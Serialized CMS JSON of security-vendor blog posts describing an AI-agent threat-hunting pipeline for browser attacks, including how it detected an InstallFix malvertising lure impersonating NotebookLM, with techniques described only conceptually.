base",{"data":15021,"content":15022,"nodeType":866},{},[15023],{"data":15024,"marks":15025,"value":15026,"nodeType":865},{},[],"As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.",{"data":15028,"content":15029,"nodeType":866},{},[15030],{"data":15031,"marks":15032,"value":15033,"nodeType":865},{},[],"That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. ",{"data":15035,"content":15036,"nodeType":866},{},[15037],{"data":15038,"marks":15039,"value":15040,"nodeType":865},{},[],"This knowledge base also reflects a deliberate architectural choice. ",{"data":15042,"content":15043,"nodeType":11214},{},[15044],{"data":15045,"content":15046,"nodeType":866},{},[15047,15050,15056,15059],{"data":15048,"marks":15049,"value":11196,"nodeType":865},{},[],{"data":15051,"content":15052,"nodeType":882},{"uri":11199},[15053],{"data":15054,"marks":15055,"value":11204,"nodeType":865},{},[],{"data":15057,"marks":15058,"value":11208,"nodeType":865},{},[],{"data":15060,"marks":15061,"value":11213,"nodeType":865},{},[15062],{"type":944},{"data":15064,"content":15065,"nodeType":866},{},[15066],{"data":15067,"marks":15068,"value":15069,"nodeType":865},{},[],"Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.",{"data":15071,"content":15072,"nodeType":866},{},[15073],{"data":15074,"marks":15075,"value":15076,"nodeType":865},{},[],"We've also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. ",{"data":15078,"content":15079,"nodeType":866},{},[15080],{"data":15081,"marks":15082,"value":15083,"nodeType":865},{},[],"Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.",{"data":15085,"content":15086,"nodeType":1458},{},[15087],{"data":15088,"marks":15089,"value":15090,"nodeType":865},{},[],"Component 3: The thoughtfully organized agents",{"data":15092,"content":15093,"nodeType":866},{},[15094,15098,15103],{"data":15095,"marks":15096,"value":15097,"nodeType":865},{},[],"The engineering challenge isn't getting a model to analyze one browser event — it's keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called ",{"data":15099,"marks":15100,"value":15102,"nodeType":865},{},[15101],{"type":961},"context rot",{"data":15104,"marks":15105,"value":15106,"nodeType":865},{},[],". That's been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.",{"data":15108,"content":15109,"nodeType":866},{},[15110],{"data":15111,"marks":15112,"value":15113,"nodeType":865},{},[],"Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it's looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. ",{"data":15115,"content":15116,"nodeType":866},{},[15117],{"data":15118,"marks":15119,"value":15120,"nodeType":865},{},[],"But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.",{"data":15122,"content":15123,"nodeType":866},{},[15124],{"data":15125,"marks":15126,"value":15127,"nodeType":865},{},[],"Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.",{"data":15129,"content":15130,"nodeType":866},{},[15131],{"data":15132,"marks":15133,"value":15134,"nodeType":865},{},[],"The consensus coming out of RSAC this year reinforces this approach. The industry's focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” ",{"data":15136,"content":15140,"nodeType":925},{"target":15137},{"sys":15138},{"id":15139,"type":922,"linkType":923},"4cXhgVflbtxiKs604aemSt",[],{"data":15142,"content":15143,"nodeType":1458},{},[15144],{"data":15145,"marks":15146,"value":15147,"nodeType":865},{},[],"Component 4: The response engine",{"data":15149,"content":15150,"nodeType":866},{},[15151],{"data":15152,"marks":15153,"value":15154,"nodeType":865},{},[],"Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.",{"data":15156,"content":15157,"nodeType":866},{},[15158],{"data":15159,"marks":15160,"value":15161,"nodeType":865},{},[],"Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.",{"data":15163,"content":15167,"nodeType":925},{"target":15164},{"sys":15165},{"id":15166,"type":922,"linkType":923},"vIrkHJ4ec1I41nXeRHfT2",[],{"data":15169,"content":15170,"nodeType":953},{},[],{"data":15172,"content":15173,"nodeType":963},{},[15174],{"data":15175,"marks":15176,"value":15177,"nodeType":865},{},[],"Learn more about Push and how we develop new detections",{"data":15179,"content":15180,"nodeType":866},{},[15181,15185,15192],{"data":15182,"marks":15183,"value":15184,"nodeType":865},{},[],"For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we've identified for using AI agents in security operations, check out our companion article: ",{"data":15186,"content":15187,"nodeType":882},{"uri":14686},[15188],{"data":15189,"marks":15190,"value":15191,"nodeType":865},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push",{"data":15193,"marks":15194,"value":1048,"nodeType":865},{},[],{"data":15196,"content":15197,"nodeType":866},{},[15198,15202,15209],{"data":15199,"marks":15200,"value":15201,"nodeType":865},{},[],"If you'd like to see how our agentic detection capabilities apply to your environment, ",{"data":15203,"content":15204,"nodeType":882},{"uri":1728},[15205],{"data":15206,"marks":15207,"value":15208,"nodeType":865},{},[],"book a demo",{"data":15210,"marks":15211,"value":1048,"nodeType":865},{},[],{"entries":15213},{"hyperlink":15214,"inline":15215,"block":15216},[],[],[15217,15221,15228,15242,15261],{"sys":15218,"__typename":5631,"type":5632,"ctaText":15219,"buttonLabel":15220,"buttonColour":5635,"buttonUrl":9303},{"id":14802},"Learn how AI-enabled attacks are making infrastructure-based detection increasingly ineffective in our update on the Pyramid of Pain concept for 2026.","Read the blog",{"sys":15222,"__typename":1747,"title":15223,"caption":15223,"layoutMode":59,"file":15224},{"id":14977},"High-level view of our agentic threat hunting pipeline.",{"url":15225,"width":15226,"height":15227},"https://images.ctfassets.net/y1cdw1ablpvd/vsZeU4aJ54AUHwTqmB9rQ/95612df4929512599c26f5727af8e420/image1_10.png",2268,1164,{"sys":15229,"__typename":9270,"content":15230,"name":15241,"title":59},{"id":15011},{"json":15231},{"data":15232,"content":15233,"nodeType":1739},{},[15234],{"data":15235,"content":15236,"nodeType":866},{},[15237],{"data":15238,"marks":15239,"value":15240,"nodeType":865},{},[],"The Push extension, the telemetry it collects, and the scale (3 million browsers and counting) at which it operates is the underlying capability that makes our agentic threat hunting possible.","Vibecode threat hunting pipeline IB1",{"sys":15243,"__typename":9270,"content":15244,"name":15260,"title":59},{"id":15139},{"json":15245},{"data":15246,"content":15247,"nodeType":1739},{},[15248],{"data":15249,"content":15250,"nodeType":866},{},[15251,15256],{"data":15252,"marks":15253,"value":15255,"nodeType":865},{},[15254],{"type":961},"What matters is what goes into the model — the telemetry, the domain knowledge, the structured context — and what happens around it: the orchestration, quality control, and feedback loops.",{"data":15257,"marks":15258,"value":15259,"nodeType":865},{},[]," That's where production reliability comes from, and it's where you’ll find the need for significant engineering effort.","Vibecode threat hunting pipeline IB2",{"sys":15262,"__typename":9270,"content":15263,"name":15274,"title":59},{"id":15166},{"json":15264},{"nodeType":1739,"data":15265,"content":15266},{},[15267],{"nodeType":866,"data":15268,"content":15269},{},[15270],{"nodeType":865,"value":15271,"marks":15272,"data":15273},"Without a browser-layer enforcement tool, any knowledge of emerging attack methods can only be addressed by revoking sessions, resetting passwords, adding (short-lived) domains to a blocklist, wiping compromised machines, and other after-the-fact response actions that keep security teams on the back foot against these kinds of incidents. ",[],{},"Vibecode threat hunting pipeline IB3",{"items":15276},[],{},"No, you can’t vibecode an AI-driven threat hunting pipeline",{"items":15280},[15281,16235,16808],{"__typename":1788,"sys":15282,"content":15284,"title":16221,"synopsis":16222,"hashTags":59,"publishedDate":16223,"slug":16224,"tagsCollection":16225,"authorsCollection":16231},{"id":15283},"1jfqiWQlL6qkn3i9yjNbFB",{"json":15285},{"data":15286,"content":15287,"nodeType":1739},{},[15288,15295,15316,15328,15335,15343,15350,15372,15379,15386,15393,15405,15411,15414,15422,15438,15459,15570,15576,15583,15589,15597,15604,15616,15623,15629,15636,15659,15666,15673,15679,15682,15690,15697,15705,15712,15727,15734,15741,15749,15756,15763,15771,15778,15785,15788,15796,15803,15811,15818,15825,15832,15839,15847,15854,15886,15893,15900,15906,15913,15921,15928,16006,16012,16020,16036,16043,16049,16056,16072,16075,16083,16090,16097,16103,16110,16155,16162,16169,16176,16182,16185,16193,16199,16205],{"data":15289,"content":15290,"nodeType":866},{},[15291],{"data":15292,"marks":15293,"value":15294,"nodeType":865},{},[],"In March, our threat hunting engine flagged something it hadn’t seen before.",{"data":15296,"content":15297,"nodeType":866},{},[15298,15302,15312],{"data":15299,"marks":15300,"value":15301,"nodeType":865},{},[],"Our research team had already been tracking the growing use of ",{"data":15303,"content":15307,"nodeType":15311},{"target":15304},{"sys":15305},{"id":15306,"type":922,"linkType":923},"2U6QpQ9rkY8x5ES48okHZB",[15308],{"data":15309,"marks":15310,"value":441,"nodeType":865},{},[],"entry-hyperlink",{"data":15313,"marks":15314,"value":15315,"nodeType":865},{},[]," tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.",{"data":15317,"content":15318,"nodeType":866},{},[15319,15323],{"data":15320,"marks":15321,"value":15322,"nodeType":865},{},[],"To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. ",{"data":15324,"marks":15325,"value":15327,"nodeType":865},{},[15326],{"type":944},"But how to separate signal from noise?",{"data":15329,"content":15330,"nodeType":866},{},[15331],{"data":15332,"marks":15333,"value":15334,"nodeType":865},{},[],"Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.",{"data":15336,"content":15337,"nodeType":866},{},[15338],{"data":15339,"marks":15340,"value":15342,"nodeType":865},{},[15341],{"type":961},"Of those, one was novel. ",{"data":15344,"content":15345,"nodeType":866},{},[15346],{"data":15347,"marks":15348,"value":15349,"nodeType":865},{},[],"A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)",{"data":15351,"content":15352,"nodeType":866},{},[15353,15358,15368],{"data":15354,"marks":15355,"value":15357,"nodeType":865},{},[15356],{"type":961},"We had found our first in-the-wild ",{"data":15359,"content":15363,"nodeType":15311},{"target":15360},{"sys":15361},{"id":15362,"type":922,"linkType":923},"7bG71Eo43crbIHKzczooVS",[15364],{"data":15365,"marks":15366,"value":11347,"nodeType":865},{},[15367],{"type":961},{"data":15369,"marks":15370,"value":1048,"nodeType":865},{},[15371],{"type":961},{"data":15373,"content":15374,"nodeType":866},{},[15375],{"data":15376,"marks":15377,"value":15378,"nodeType":865},{},[],"Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer. ",{"data":15380,"content":15381,"nodeType":866},{},[15382],{"data":15383,"marks":15384,"value":15385,"nodeType":865},{},[],"Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers. ",{"data":15387,"content":15388,"nodeType":866},{},[15389],{"data":15390,"marks":15391,"value":15392,"nodeType":865},{},[],"That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.",{"data":15394,"content":15395,"nodeType":866},{},[15396,15401],{"data":15397,"marks":15398,"value":15400,"nodeType":865},{},[15399],{"type":961},"So, can AI agents replace human threat researchers?",{"data":15402,"marks":15403,"value":15404,"nodeType":865},{},[]," That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.",{"data":15406,"content":15410,"nodeType":925},{"target":15407},{"sys":15408},{"id":15409,"type":922,"linkType":923},"3OiZ7BrViCTTMmHUAbloEt",[],{"data":15412,"content":15413,"nodeType":953},{},[],{"data":15415,"content":15416,"nodeType":963},{},[15417],{"data":15418,"marks":15419,"value":15421,"nodeType":865},{},[15420],{"type":961},"Why scaling browser threat detection requires more than more analysts",{"data":15423,"content":15424,"nodeType":866},{},[15425,15429,15434],{"data":15426,"marks":15427,"value":15428,"nodeType":865},{},[],"Already this year, we’ve ",{"data":15430,"marks":15431,"value":15433,"nodeType":865},{},[15432],{"type":961},"tripled",{"data":15435,"marks":15436,"value":15437,"nodeType":865},{},[]," the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.",{"data":15439,"content":15440,"nodeType":866},{},[15441,15445,15455],{"data":15442,"marks":15443,"value":15444,"nodeType":865},{},[],"Push’s R&D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the ",{"data":15446,"content":15450,"nodeType":15311},{"target":15447},{"sys":15448},{"id":15449,"type":922,"linkType":923},"211Dd0EIrXPOFpvRgs0fEE",[15451],{"data":15452,"marks":15453,"value":15454,"nodeType":865},{},[],"Browser & Identity Attacks Matrix",{"data":15456,"marks":15457,"value":15458,"nodeType":865},{},[]," in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore. ",{"data":15460,"content":15461,"nodeType":1049},{},[15462,15472,15496],{"data":15463,"content":15464,"nodeType":1003},{},[15465],{"data":15466,"content":15467,"nodeType":866},{},[15468],{"data":15469,"marks":15470,"value":15471,"nodeType":865},{},[],"We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools. ",{"data":15473,"content":15474,"nodeType":1003},{},[15475],{"data":15476,"content":15477,"nodeType":866},{},[15478,15482,15492],{"data":15479,"marks":15480,"value":15481,"nodeType":865},{},[],"We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in ",{"data":15483,"content":15487,"nodeType":15311},{"target":15484},{"sys":15485},{"id":15486,"type":922,"linkType":923},"5DmCqTU2Tg4adYScA5vT2x",[15488],{"data":15489,"marks":15490,"value":15491,"nodeType":865},{},[],"device code phishing attacks",{"data":15493,"marks":15494,"value":15495,"nodeType":865},{},[]," across our install base. ",{"data":15497,"content":15498,"nodeType":1003},{},[15499],{"data":15500,"content":15501,"nodeType":866},{},[15502,15506,15515,15519,15528,15532,15542,15545,15553,15556,15566],{"data":15503,"marks":15504,"value":15505,"nodeType":865},{},[],"We were also the first to detect a novel post-authorization attack we dubbed ",{"data":15507,"content":15511,"nodeType":15311},{"target":15508},{"sys":15509},{"id":15510,"type":922,"linkType":923},"71EaaK7lfl6bQBbkAU0qjv",[15512],{"data":15513,"marks":15514,"value":11095,"nodeType":865},{},[],{"data":15516,"marks":15517,"value":15518,"nodeType":865},{},[]," that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective ",{"data":15520,"content":15523,"nodeType":15311},{"target":15521},{"sys":15522},{"id":15362,"type":922,"linkType":923},[15524],{"data":15525,"marks":15526,"value":15527,"nodeType":865},{},[],"InstallFix technique",{"data":15529,"marks":15530,"value":15531,"nodeType":865},{},[]," described earlier; and detected an array of other ",{"data":15533,"content":15537,"nodeType":15311},{"target":15534},{"sys":15535},{"id":15536,"type":922,"linkType":923},"2YmiesBvJHGw4wiKEKzLUq",[15538],{"data":15539,"marks":15540,"value":15541,"nodeType":865},{},[],"creative",{"data":15543,"marks":15544,"value":2157,"nodeType":865},{},[],{"data":15546,"content":15549,"nodeType":15311},{"target":15547},{"sys":15548},{"id":15306,"type":922,"linkType":923},[15550],{"data":15551,"marks":15552,"value":520,"nodeType":865},{},[],{"data":15554,"marks":15555,"value":2157,"nodeType":865},{},[],{"data":15557,"content":15561,"nodeType":15311},{"target":15558},{"sys":15559},{"id":15560,"type":922,"linkType":923},"6Zosy4SU0LpjlaSWX75peb",[15562],{"data":15563,"marks":15564,"value":15565,"nodeType":865},{},[],"campaigns",{"data":15567,"marks":15568,"value":15569,"nodeType":865},{},[]," tied to malvertising scams.",{"data":15571,"content":15575,"nodeType":925},{"target":15572},{"sys":15573},{"id":15574,"type":922,"linkType":923},"53U3LHhhHFYnEpShdLmDqs",[],{"data":15577,"content":15578,"nodeType":866},{},[15579],{"data":15580,"marks":15581,"value":15582,"nodeType":865},{},[],"With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.",{"data":15584,"content":15588,"nodeType":925},{"target":15585},{"sys":15586},{"id":15587,"type":922,"linkType":923},"1u00uFbC4xsvP9lqahXbgD",[],{"data":15590,"content":15591,"nodeType":1458},{},[15592],{"data":15593,"marks":15594,"value":15596,"nodeType":865},{},[15595],{"type":961},"Scaling behavioral detections, not just making bigger blocklists",{"data":15598,"content":15599,"nodeType":866},{},[15600],{"data":15601,"marks":15602,"value":15603,"nodeType":865},{},[],"But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.",{"data":15605,"content":15606,"nodeType":866},{},[15607,15612],{"data":15608,"marks":15609,"value":15611,"nodeType":865},{},[15610],{"type":961},"If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. ",{"data":15613,"marks":15614,"value":15615,"nodeType":865},{},[],"They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway. ",{"data":15617,"content":15618,"nodeType":866},{},[15619],{"data":15620,"marks":15621,"value":15622,"nodeType":865},{},[],"Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on. ",{"data":15624,"content":15628,"nodeType":925},{"target":15625},{"sys":15626},{"id":15627,"type":922,"linkType":923},"5jR3YVUiusHGnXDOyrgYpr",[],{"data":15630,"content":15631,"nodeType":866},{},[15632],{"data":15633,"marks":15634,"value":15635,"nodeType":865},{},[],"Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)",{"data":15637,"content":15638,"nodeType":866},{},[15639,15644,15654],{"data":15640,"marks":15641,"value":15643,"nodeType":865},{},[15642],{"type":961},"All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the ",{"data":15645,"content":15649,"nodeType":15311},{"target":15646},{"sys":15647},{"id":15648,"type":922,"linkType":923},"1qegIy4rMdm5XZXnIEoKpE",[15650],{"data":15651,"marks":15652,"value":8561,"nodeType":865},{},[15653],{"type":961},{"data":15655,"marks":15656,"value":15658,"nodeType":865},{},[15657],{"type":961},", the indicators that are hardest for attackers to change.",{"data":15660,"content":15661,"nodeType":866},{},[15662],{"data":15663,"marks":15664,"value":15665,"nodeType":865},{},[],"This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge. ",{"data":15667,"content":15668,"nodeType":866},{},[15669],{"data":15670,"marks":15671,"value":15672,"nodeType":865},{},[],"We did this not by replacing researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below. ",{"data":15674,"content":15678,"nodeType":925},{"target":15675},{"sys":15676},{"id":15677,"type":922,"linkType":923},"C9gr4nF3f6CW45Aol9xij",[],{"data":15680,"content":15681,"nodeType":953},{},[],{"data":15683,"content":15684,"nodeType":963},{},[15685],{"data":15686,"marks":15687,"value":15689,"nodeType":865},{},[15688],{"type":961},"Core principles for agentic threat hunting",{"data":15691,"content":15692,"nodeType":866},{},[15693],{"data":15694,"marks":15695,"value":15696,"nodeType":865},{},[],"Three principles make Push's agentic threat hunting and detection engineering pipeline work:",{"data":15698,"content":15699,"nodeType":1458},{},[15700],{"data":15701,"marks":15702,"value":15704,"nodeType":865},{},[15703],{"type":961},"Context matters more than custom models",{"data":15706,"content":15707,"nodeType":866},{},[15708],{"data":15709,"marks":15710,"value":15711,"nodeType":865},{},[],"We’re not AI researchers; we’re security researchers — we aren't trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our expertise.",{"data":15713,"content":15714,"nodeType":866},{},[15715,15719,15723],{"data":15716,"marks":15717,"value":15718,"nodeType":865},{},[],"So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over ",{"data":15720,"marks":15721,"value":9014,"nodeType":865},{},[15722],{"type":961},{"data":15724,"marks":15725,"value":15726,"nodeType":865},{},[],", and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.",{"data":15728,"content":15729,"nodeType":866},{},[15730],{"data":15731,"marks":15732,"value":15733,"nodeType":865},{},[],"This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts. ",{"data":15735,"content":15736,"nodeType":866},{},[15737],{"data":15738,"marks":15739,"value":15740,"nodeType":865},{},[],"This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.",{"data":15742,"content":15743,"nodeType":1458},{},[15744],{"data":15745,"marks":15746,"value":15748,"nodeType":865},{},[15747],{"type":961},"Agents are only as good as the context you give them. Good context is researcher-led",{"data":15750,"content":15751,"nodeType":866},{},[15752],{"data":15753,"marks":15754,"value":15755,"nodeType":865},{},[],"AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.",{"data":15757,"content":15758,"nodeType":866},{},[15759],{"data":15760,"marks":15761,"value":15762,"nodeType":865},{},[],"When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.",{"data":15764,"content":15765,"nodeType":1458},{},[15766],{"data":15767,"marks":15768,"value":15770,"nodeType":865},{},[15769],{"type":961},"Integrated architecture that makes agentic AI the throughput layer, not a bolt-on",{"data":15772,"content":15773,"nodeType":866},{},[15774],{"data":15775,"marks":15776,"value":15777,"nodeType":865},{},[],"The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.",{"data":15779,"content":15780,"nodeType":866},{},[15781],{"data":15782,"marks":15783,"value":15784,"nodeType":865},{},[],"This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.",{"data":15786,"content":15787,"nodeType":953},{},[],{"data":15789,"content":15790,"nodeType":963},{},[15791],{"data":15792,"marks":15793,"value":15795,"nodeType":865},{},[15794],{"type":961},"How the agentic detection pipeline runs",{"data":15797,"content":15798,"nodeType":866},{},[15799],{"data":15800,"marks":15801,"value":15802,"nodeType":865},{},[],"Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We'll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team. ",{"data":15804,"content":15805,"nodeType":1458},{},[15806],{"data":15807,"marks":15808,"value":15810,"nodeType":865},{},[15809],{"type":961},"Example 1: Autonomous threat hunt",{"data":15812,"content":15813,"nodeType":866},{},[15814],{"data":15815,"marks":15816,"value":15817,"nodeType":865},{},[],"Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack. ",{"data":15819,"content":15820,"nodeType":866},{},[15821],{"data":15822,"marks":15823,"value":15824,"nodeType":865},{},[],"The agent crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives. ",{"data":15826,"content":15827,"nodeType":866},{},[15828],{"data":15829,"marks":15830,"value":15831,"nodeType":865},{},[],"The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.",{"data":15833,"content":15834,"nodeType":866},{},[15835],{"data":15836,"marks":15837,"value":15838,"nodeType":865},{},[],"Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.",{"data":15840,"content":15841,"nodeType":1458},{},[15842],{"data":15843,"marks":15844,"value":15846,"nodeType":865},{},[15845],{"type":961},"Example 2: Human-initiated threat hunt",{"data":15848,"content":15849,"nodeType":866},{},[15850],{"data":15851,"marks":15852,"value":15853,"nodeType":865},{},[],"Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.",{"data":15855,"content":15856,"nodeType":866},{},[15857,15861,15866,15869,15874,15877,15882],{"data":15858,"marks":15859,"value":15860,"nodeType":865},{},[],"Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore ads will be expected to redirect to pages hosted on custom domains, not shared domains like ",{"data":15862,"marks":15863,"value":15865,"nodeType":865},{},[15864],{"type":961},"*pages.dev",{"data":15867,"marks":15868,"value":2186,"nodeType":865},{},[],{"data":15870,"marks":15871,"value":15873,"nodeType":865},{},[15872],{"type":961},"*workers.dev",{"data":15875,"marks":15876,"value":2186,"nodeType":865},{},[],{"data":15878,"marks":15879,"value":15881,"nodeType":865},{},[15880],{"type":961},"*squarespace.com",{"data":15883,"marks":15884,"value":15885,"nodeType":865},{},[],", etc.",{"data":15887,"content":15888,"nodeType":866},{},[15889],{"data":15890,"marks":15891,"value":15892,"nodeType":865},{},[],"Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.",{"data":15894,"content":15895,"nodeType":866},{},[15896],{"data":15897,"marks":15898,"value":15899,"nodeType":865},{},[],"The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.",{"data":15901,"content":15905,"nodeType":925},{"target":15902},{"sys":15903},{"id":15904,"type":922,"linkType":923},"4IWOrWuvbwzWRJUkINiwKH",[],{"data":15907,"content":15908,"nodeType":866},{},[15909],{"data":15910,"marks":15911,"value":15912,"nodeType":865},{},[],"We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.",{"data":15914,"content":15915,"nodeType":1458},{},[15916],{"data":15917,"marks":15918,"value":15920,"nodeType":865},{},[15919],{"type":961},"What infrastructure is needed for agentic threat hunting?",{"data":15922,"content":15923,"nodeType":866},{},[15924],{"data":15925,"marks":15926,"value":15927,"nodeType":865},{},[],"Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:",{"data":15929,"content":15930,"nodeType":1049},{},[15931,15946,15961,15976,15991],{"data":15932,"content":15933,"nodeType":1003},{},[15934],{"data":15935,"content":15936,"nodeType":866},{},[15937,15942],{"data":15938,"marks":15939,"value":15941,"nodeType":865},{},[15940],{"type":961},"A flight recorder: ",{"data":15943,"marks":15944,"value":15945,"nodeType":865},{},[],"The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.",{"data":15947,"content":15948,"nodeType":1003},{},[15949],{"data":15950,"content":15951,"nodeType":866},{},[15952,15957],{"data":15953,"marks":15954,"value":15956,"nodeType":865},{},[15955],{"type":961},"A knowledge base:",{"data":15958,"marks":15959,"value":15960,"nodeType":865},{},[]," Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack 